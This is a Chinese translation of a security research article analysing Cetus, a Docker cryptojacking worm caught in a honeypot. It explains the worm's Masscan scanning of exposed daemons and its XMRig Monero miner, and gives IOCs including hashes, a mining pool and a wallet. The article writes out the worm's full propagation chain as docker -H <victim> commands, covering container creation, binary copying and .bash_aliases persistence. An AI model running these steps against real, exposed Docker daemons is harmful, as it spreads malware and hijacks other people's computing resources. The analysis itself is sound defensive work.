譯者:知道創宇404實驗室翻譯組
原文鏈接:https://unit42.paloaltonetworks.com/

摘要
自容器誕生以來,安全專家就將不安全的Docker daemons 稱為主要威脅。我們最近還撰寫了有關Graboid(第一個Docker密碼劫持蠕蟲和不安全的Docker daemons)的文章。我通過設置Docker daemons蜜罐進行了進一步的研究,以研究在野外尋找普通Docker daemons的情況,并了解由COVID-19導致的向云的轉移是否增加了針對性云攻擊的普及率和復雜性。
本文將詳細介紹Cetus的發現,Cetus是針對Monero的一種新的和改進的Docker密碼劫持蠕蟲挖掘,可在我們創建的Docker daemons蜜罐中找到。
蜜罐
為了進行研究,我設置了受限的Docker daemons,并記錄了5月份的所有流量。在這段時間里,我目睹了各種各樣的攻擊,從僵尸網絡到蠕蟲,一切都在進行,其中大多數是為了進行加密劫持,特別是對門羅幣。
最常見的攻擊之一引起了我的注意,因為它具有蠕蟲的潛在特征。與其他攻擊不同,蜜罐在這里受到來自許多不同的不安全Docker daemons實例的攻擊。根據我的honeypot部署和其他有關容器安全性的研究項目,看到蠕蟲針對不安全的Docker daemons的情況并不常見。我分析有效負載,并確定這是一個新的Docker蠕蟲:惡意軟件的每個實例都試圖發現和感染本地網絡和外部的其他Docker daemons實例。
Cetus如何運作
在希臘神話中,有一個關于鯨魚樣生物的故事,該生物看起來無害,但實際上是一個海洋怪物,無論到哪里都造成破壞。該生物的名字是塞圖斯。由于該惡意軟件針對Docker,并試圖偽裝成合法的二進制文件,因此我決定將其命名為Cetus。
Cetus通過偽裝在Docker環境中經常使用的稱為Portainer的合法二進制文件來偽裝自己。Portainer是一個用戶界面(UI)管理工具,它提供了一種方便的方法來管理多個Docker環境。在接管新機器時,Cetus將自己復制到受害者并部署XMRig cryptominer有效負載。Cetus將加密礦工偽裝成另一個稱為docker -cache的合法二進制文件。它看起來像合法名稱,但與Portainer不同,它不是真正的二進制名稱。
Cetus生命周期從兩個功能開始:miner_start和scan_start,它們遵循此處所示的流程。 最后一步是使受害者創建一個Ubuntu容器,更新存儲庫,安裝Masscan和Docker,復制Cetus和XMRig,通過.bash_aliases添加持久性,然后重新啟動容器并運行Cetus。

感染機制簡單有效。Cetus使用Masscan隨機掃描子網以查找Docker daemons,一旦找到子網,它就會嘗試通過將請求發送到守護程序的REST API進行傳播。為了增加侮辱性傷害,Cetus使用Docker命令行界面(CLI)工具精心設計了這些請求。
Cetus的攻擊流程如圖1所示。具體地說,Cetus運行的命令是:
- 檢查守護程序是否可利用且未被感染:
docker -H <victim> ps -a
- 從Docker Hub 運行一個新的ubuntu:18.04容器:
docker -H <victim> run -dt --name <name> --restart always ubuntu:18.04 /bin/bash
- 更新程序包管理器列表:
docker -H <victim> exec <name> apt-get -yq update
- 通過軟件包管理器安裝Masscan和Docker:
docker -H <victim> exec <name> apt-get install masscan docker.io
- 將惡意的portainer和docker-cache二進制文件復制到容器中:
docker -H <victim> cp -L docker-cache <name>:/usr/bin/docker -H <victim> cp -L portainer <name>/usr/bin/
- 將Cetus添加到“ /root/.bash_aliases”。每當容器重新啟動或root啟動bash會話時,它將導致Cetus運行:
docker -H <victim> exec <name> bash --norc -c `echo /usr/bin/portainer <name> >/dev/null` 2>/dev/null &
- 重新啟動容器以運行Cetus:
docker -H <victim> restart <name>
逆向工程Cetus
逆向工程Cetus簡便快捷,因為它不使用任何反調試或混淆技術,甚至沒有符號。礦工則不是這樣。XMRig礦工是用于加密劫持攻擊的最廣泛使用的加密礦工之一,因此安全工具將其視為病毒。因此,為了在這次攻擊中欺騙他們,將其完全模糊了,使反向工程過程變得更加困難。
此外,我們可以斷定該惡意軟件是新的,因為它使用了2020年2月2日發布的XMRig 5.5.3。
Cetus的體系結構很簡單。它包含兩個主要功能:
miner_start和scan_start。
“這里顯示的代碼如下:miner_start(); while(1){random = rand();以及其他未在此處以明文形式復制的行。此代碼啟動了Cetus的兩個主要功能。

miner_start函數很簡單。它打開/var/log/stmp.log來記錄Cetus的操作,然后運行XMRig cryptominer,該工具利用機器的CPU來挖掘Monero。
函數scan_start更加有趣,它執行了惡意軟件的核心功能。它選擇一個隨機的16位子網,然后運行Masscan以便在子網中掃描端口2375上的Docker daemons。找到守護程序后,它將使用已下載的Docker CLI工具啟動感染過程。
關于惡意軟件的一個有趣的事情是,每次感染Docker daemons時,它都會使用不同的名稱調用容器。它有兩個包含八個名稱的列表,并且從每個列表中隨機選擇一個名稱并將它們鏈接起來。
此圖包含Cetus使用的名稱示例,包括boorish_peristeronic,verdant_quire和limpid_oxter。

然后Cetus將以名稱作為參數運行礦工。礦工將使用此名稱向采礦池標識自己,并向參與者發送有關采礦的信息。這將使攻擊者可以對每個礦工進行分類,并通過挖掘池API創建有關礦工和活動的統計信息。
我們可以從此和日志機制得出結論,該蠕蟲的操作員希望監視所有內容。
結論
隨著攻擊者了解云的潛力,針對惡意軟件的容器將逐漸變得更加復雜。這是繼Graboid之后由Unit 42記錄的第二個Docker密碼劫持蠕蟲。此外,我們還能夠將Cetus鏈接到另一種攻擊AWS和Docker daemons的加密劫持蠕蟲,這些蠕蟲使用與Cetus相同的Monero錢包地址。我們得出結論,對云進行復雜攻擊的趨勢正在增長。
運行Prisma Cloud的 Palo Alto Networks客戶可以通過Prisma Cloud Compute主機合規性保護免受此侵害,該警告會警告Docker daemons配置不足,并提出解決方案。
這顯示了Prisma Cloud主機警報的示例,警告Docker daemons配置不足-這個問題可能使Docker daemons容易受到Cetus的攻擊。
IOC
檔案
| 文檔名稱 | SHA256 |
|---|---|
| docker-cache | e03cf2af46ad1fe590e63f0020243c6e8ae94f074e65ace18c6d568283343dac |
| docker-cache | b49a3f3cb4c70014e2c35c880d47bc475584b87b7dfcfa6d7341d42a16ebe443 |
采礦信息
pool
pool.minexmr.com:443
付款地址
85X7JcgPpwQdZXaK2TKJb8baQAXc3zBsnW7JuY7MLi9VYSamf4bFwa7SEAK9Hgp2P53npV19w1zuaK5bft5m2NN71CmNLoh
容器名稱
baleful_gormmet
baleful_obelus
baleful_agelast
baleful_amatorculist
baleful_peristeronic
baleful_hirquiticke
baleful_oxter
baleful_quire
boorish_gormmet
boorish_obelus
boorish_agelast
boorish_amatorculist
boorish_peristeronic
boorish_hirquiticke
boorish_oxter
boorish_quire
adroit_gormmet
adroit_obelus
adroit_agelast
adroit_amatorculist
adroit_peristeronic
adroit_hirquiticke
adroit_oxter
adroit_quire
fecund_gormmet
fecund_obelus
fecund_agelast
fecund_amatorculist
fecund_peristeronic
fecund_hirquiticke
fecund_oxter
fecund_quire
limpid_gormmet
limpid_obelus
limpid_agelast
limpid_amatorculist
limpid_peristeronic
limpid_hirquiticke
limpid_oxter
limpid_quire
risible_gormmet
risible_obelus
risible_agelast
risible_amatorculist
risible_peristeronic
risible_hirquiticke
risible_oxter
risible_quire
verdant_gormmet
verdant_obelus
verdant_agelast
verdant_amatorculist
verdant_peristeronic
verdant_hirquiticke
verdant_oxter
verdant_quire
zealous_gormmet
zealous_obelus
zealous_agelast
zealous_amatorculist
zealous_peristeronic
zealous_hirquiticke
zealous_oxter
zealous_quire
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1322/
暫無評論